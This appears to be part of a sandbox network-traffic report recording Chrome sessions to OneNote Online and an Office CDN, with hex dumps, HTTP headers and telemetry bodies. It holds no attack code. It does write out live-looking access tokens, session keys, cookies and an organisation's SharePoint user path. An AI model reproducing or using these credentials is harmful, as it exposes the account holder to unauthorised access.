2024-04-26 07:59:24 UTC	890	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int
2024-04-26 07:59:24 UTC	318	IN	Data Raw: 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 35 30 30 20 2d 20 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 72 65 20 69 73 20 61 20 70 72 6f 62 6c 65 6d 20 77 69 74 68 20 74 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2c 20 61 6e 64 20 69 74 20 63 61 6e 6e 6f 74 20 62 65 20 Data Ascii: yle></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>500 - Internal server error.</h2> <h3>There is a problem with the resource you are looking for, and it cannot be

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49861	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:24 UTC	3609	OUT	POST /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 53621 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: SN3PEPF000091BA X-OfficeVersion: 16.0.17601.41008 X-Key: n6IDxhd6wnn64lDiT/v29/IwfRsPGkZ9Q2pSUeWOyWY=;mFis2L6vMsBNOxnijIg4A5JcpQZjdzxFJ7ALVqUl65I=,638497151517007624 X-WacUserAgent: MSWACONSync X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-Requested-With: Fetch X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9.ePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC-lGpxzBDH9_YJe9eXoQ3MIJgGNGZp5_8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx_uD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k_Y8zjLO-AXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP_kPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg X-AccessTokenTtl: 1714154349045 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: PUS6 Accept: / Origin: https://usc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de
2024-04-26 07:59:24 UTC	16384	OUT	Data Raw: 7b 22 54 22 3a 31 37 31 34 31 31 38 33 36 31 34 32 36 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 31 32 32 33 35 34 38 33 2c 22 54 22 3a 31 33 32 2c 22 4d 22 3a 22 43 68 75 6e 6b 20 6f 6e 65 6e 6f 74 65 2d 72 69 62 62 6f 6e 2d 73 70 72 69 74 65 2d 6c 61 7a 79 20 6c 6f 61 64 65 64 20 69 6e 20 32 32 39 36 20 6d 73 22 2c 22 43 22 3a 33 30 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 33 38 38 33 34 31 38 31 2c 22 54 22 3a 33 33 34 2c 22 4d 22 3a 22 52 65 67 69 73 74 65 72 69 6e 67 20 27 4f 6e 65 4e 6f 74 65 2e 4e 6f 74 65 62 6f 6f 6b 4c 65 76 65 6c 45 64 69 74 6f 72 73 27 20 70 61 63 6b 61 67 65 2e 20 41 64 64 69 6e 67 20 70 61 63 6b 61 67 65 20 74 6f 20 70 61 63 6b 61 67 65 20 6c 69 73 74 20 69 6e 20 27 50 61 63 6b 61 67 4c 69 66 65 63 79 63 6c 65 4d 61 6e 61 67 Data Ascii: {"T":1714118361426,"L":[{"G":512235483,"T":132,"M":"Chunk onenote-ribbon-sprite-lazy loaded in 2296 ms","C":306,"D":50},{"G":538834181,"T":334,"M":"Registering 'OneNote.NotebookLevelEditors' package. Adding package to package list in 'PackagLifecycleManag
2024-04-26 07:59:24 UTC	16384	OUT	Data Raw: 6b 75 70 45 6e 64 5c 22 3a 5c 22 31 35 38 38 2e 36 5c 22 2c 5c 22 43 6f 6e 6e 65 63 74 53 74 61 72 74 5c 22 3a 5c 22 31 35 38 38 2e 36 5c 22 2c 5c 22 43 6f 6e 6e 65 63 74 45 6e 64 5c 22 3a 5c 22 31 39 37 38 2e 35 5c 22 2c 5c 22 53 65 63 75 72 65 43 6f 6e 6e 65 63 74 69 6f 6e 53 74 61 72 74 5c 22 3a 5c 22 31 35 39 31 2e 39 5c 22 2c 5c 22 52 65 71 75 65 73 74 53 74 61 72 74 5c 22 3a 5c 22 31 39 37 38 2e 37 5c 22 2c 5c 22 52 65 73 70 6f 6e 73 65 53 74 61 72 74 5c 22 3a 5c 22 32 32 34 37 5c 22 2c 5c 22 52 65 73 70 6f 6e 73 65 45 6e 64 5c 22 3a 5c 22 32 37 33 33 2e 32 5c 22 2c 5c 22 44 65 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 5c 22 3a 5c 22 35 39 36 39 37 5c 22 2c 5c 22 45 6e 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 5c 22 3a 5c 22 35 39 36 39 37 5c 22 2c 5c 22 Data Ascii: kupEnd\":\"1588.6\",\"ConnectStart\":\"1588.6\",\"ConnectEnd\":\"1978.5\",\"SecureConnectionStart\":\"1591.9\",\"RequestStart\":\"1978.7\",\"ResponseStart\":\"2247\",\"ResponseEnd\":\"2733.2\",\"DecodedBodySize\":\"59697\",\"EncodedBodySize\":\"59697\",\"
2024-04-26 07:59:24 UTC	16384	OUT	Data Raw: 64 5c 22 3a 5c 22 30 5c 22 2c 5c 22 46 65 74 63 68 53 74 61 72 74 5c 22 3a 5c 22 38 32 34 34 2e 34 5c 22 2c 5c 22 44 6f 6d 61 69 6e 4c 6f 6f 6b 75 70 53 74 61 72 74 5c 22 3a 5c 22 39 37 30 39 2e 34 5c 22 2c 5c 22 44 6f 6d 61 69 6e 4c 6f 6f 6b 75 70 45 6e 64 5c 22 3a 5c 22 39 37 30 39 2e 34 5c 22 2c 5c 22 43 6f 6e 6e 65 63 74 53 74 61 72 74 5c 22 3a 5c 22 39 37 30 39 2e 34 5c 22 2c 5c 22 43 6f 6e 6e 65 63 74 45 6e 64 5c 22 3a 5c 22 31 30 30 39 31 2e 38 5c 22 2c 5c 22 53 65 63 75 72 65 43 6f 6e 6e 65 63 74 69 6f 6e 53 74 61 72 74 5c 22 3a 5c 22 39 37 31 31 2e 31 5c 22 2c 5c 22 52 65 71 75 65 73 74 53 74 61 72 74 5c 22 3a 5c 22 31 30 30 39 32 5c 22 2c 5c 22 52 65 73 70 6f 6e 73 65 53 74 61 72 74 5c 22 3a 5c 22 31 30 33 34 31 2e 38 5c 22 2c 5c 22 52 65 73 70 Data Ascii: d\":\"0\",\"FetchStart\":\"8244.4\",\"DomainLookupStart\":\"9709.4\",\"DomainLookupEnd\":\"9709.4\",\"ConnectStart\":\"9709.4\",\"ConnectEnd\":\"10091.8\",\"SecureConnectionStart\":\"9711.1\",\"RequestStart\":\"10092\",\"ResponseStart\":\"10341.8\",\"Resp
2024-04-26 07:59:24 UTC	4469	OUT	Data Raw: 3a 20 43 6f 6e 74 72 6f 6c 6c 65 72 43 6f 6e 6e 65 63 74 65 64 53 65 72 76 69 63 65 73 45 6e 61 62 6c 65 64 22 2c 22 43 22 3a 33 30 30 34 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 35 38 31 38 37 30 38 30 2c 22 54 22 3a 31 38 38 31 2c 22 4d 22 3a 22 43 6c 6f 75 64 50 6f 6c 69 63 79 53 65 74 74 69 6e 67 73 48 65 6c 70 65 72 2e 49 73 46 65 61 74 75 72 65 45 6e 61 62 6c 65 64 56 32 3a 20 46 65 61 74 75 72 65 3a 20 77 6f 72 64 5f 69 6e 73 65 72 74 4f 6e 6c 69 6e 65 50 69 63 74 75 72 65 73 2c 20 65 6e 61 62 6c 65 64 20 6f 72 20 6e 6f 74 3a 20 74 72 75 65 2c 20 62 79 20 70 6f 6c 69 63 79 3a 20 43 6f 6e 74 72 6f 6c 6c 65 72 43 6f 6e 6e 65 63 74 65 64 53 65 72 76 69 63 65 73 45 6e 61 62 6c 65 64 22 2c 22 43 22 3a 33 30 30 34 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 Data Ascii: : ControllerConnectedServicesEnabled","C":3004,"D":50},{"G":558187080,"T":1881,"M":"CloudPolicySettingsHelper.IsFeatureEnabledV2: Feature: word_insertOnlinePictures, enabled or not: true, by policy: ControllerConnectedServicesEnabled","C":3004,"D":50},{"G
2024-04-26 07:59:25 UTC	1649	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: f55c13cf-3a51-4827-8477-21a5c53e9317 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF0000DD5B X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5a&DC=PUS6&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF0000DD5B X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_onenoteslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 93926E7D2C554FE7AB8729728C51F43B Ref B: MIA301000102037 Ref C: 2024-04-26T07:59:24Z Date: Fri, 26 Apr 2024 07:59:24 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49867	52.108.9.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:24 UTC	734	OUT	GET /o/RemoteTelemetry.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&build=16.0.17601.41008&waccluster=PUS6 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de
2024-04-26 07:59:25 UTC	1019	IN	HTTP/1.1 400 Bad Request Cache-Control: private Transfer-Encoding: chunked Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 06282292-5430-4981-b28f-44c624c88a5f X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091C3 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000091C3 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 2596A81402AB45A090019A6709D954D8 Ref B: MIA301000101019 Ref C: 2024-04-26T07:59:24Z Date: Fri, 26 Apr 2024 07:59:24 GMT Connection: close
2024-04-26 07:59:25 UTC	16	IN	Data Raw: 62 0d 0a 42 61 64 20 52 65 71 75 65 73 74 0d 0a Data Ascii: bBad Request
2024-04-26 07:59:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49877	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:26 UTC	651	OUT	GET /files/fabric-cdn-prod_20240129.001/assets/icons/fabric-icons-a13498cf.woff HTTP/1.1 Host: res.cdn.office.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://usc-onenote.officeapps.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://usc-onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:26 UTC	1124	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 348541 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: "public, max-age=31536000" Content-Type: font/woff Date: Fri, 26 Apr 2024 07:59:26 GMT Last-Modified: Mon, 29 Jan 2024 20:38:33 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=161067077722447964227228571823580870951"}],"include_subdomains ":true} Server: ECAcc (mid/870D) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: ca9713d2-901e-001b-1f84-945603000000 Content-Length: 6784 Connection: close
2024-04-26 07:59:26 UTC	6784	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 1a 80 00 0e 00 00 00 00 2d 3c 00 03 75 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4f 53 2f 32 00 00 01 44 00 00 00 48 00 00 00 60 31 46 79 e9 63 6d 61 70 00 00 01 8c 00 00 01 23 00 00 02 d2 d7 3c c8 64 63 76 74 20 00 00 02 b0 00 00 00 20 00 00 00 2a 09 d9 09 af 66 70 67 6d 00 00 02 d0 00 00 00 f0 00 00 01 59 fc 9e e6 8e 67 61 73 70 00 00 03 c0 00 00 00 0c 00 00 00 0c 00 08 00 1b 67 6c 79 66 00 00 03 cc 00 00 10 e6 00 00 1b 2c 3d 5f d1 ea 68 65 61 64 00 00 14 b4 00 00 00 32 00 00 00 36 00 a4 7f e9 68 68 65 61 00 00 14 e8 00 00 00 15 00 00 00 24 10 01 08 03 68 6d 74 78 00 00 15 00 00 00 00 4e 00 00 00 78 1b e2 0d b3 6c 6f 63 61 00 00 15 50 00 00 00 76 00 00 00 76 d1 5e ca 2e 6d 61 78 70 00 00 15 c8 00 00 00 Data Ascii: wOFF-<uOS/2DH`1Fycmap#<dcvt *fpgmYgaspglyf,=_head26hhea$hmtxNxlocaPvv^.maxp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49892	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:30 UTC	3657	OUT	GET /o/AddinServiceHandler.ashx?action=laststoreupdate&app=4&lc=EN-US&WOPIsrc=https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcom%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9%2EePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC%2DlGpxzBDH9%5FYJe9eXoQ3MIJgGNGZp5%5F8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx%5FuD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k%5FY8zjLO%2DAXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP%5FkPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg&access_token_ttl=1714154349045 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" haep: 3 X-WacFrontEnd: SN3PEPF000091BA X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f sec-ch-ua-mobile: ?0 X-OfficeVersion: 16.0.17601.41008 X-Key: n6IDxhd6wnn64lDiT/v29/IwfRsPGkZ9Q2pSUeWOyWY=;mFis2L6vMsBNOxnijIg4A5JcpQZjdzxFJ7ALVqUl65I=,638497151517007624 X-WacUserAgent: MSWACONSync User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-Requested-With: XMLHttpRequest X-UserType: WOPI X-xhr: 1 X-IsCoauthSession: true X-WacCluster: PUS6 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de; PUS9-ARRAffinity=ced079449095b2f8730f0411e34b3fe9a83a7283597ce6ca7087d95cbdd29929
2024-04-26 07:59:30 UTC	901	IN	HTTP/1.1 403 Forbidden Cache-Control: private Content-Length: 1233 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: c0e19c08-b3cd-4961-9baa-aa925086a8a5 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091BB X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true X-OFFICEFD: SN3PEPF000091BB X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: A299CEFBAF974D1DBEE7368E92D5D7BF Ref B: MIA301000107009 Ref C: 2024-04-26T07:59:30Z Date: Fri, 26 Apr 2024 07:59:30 GMT Connection: close
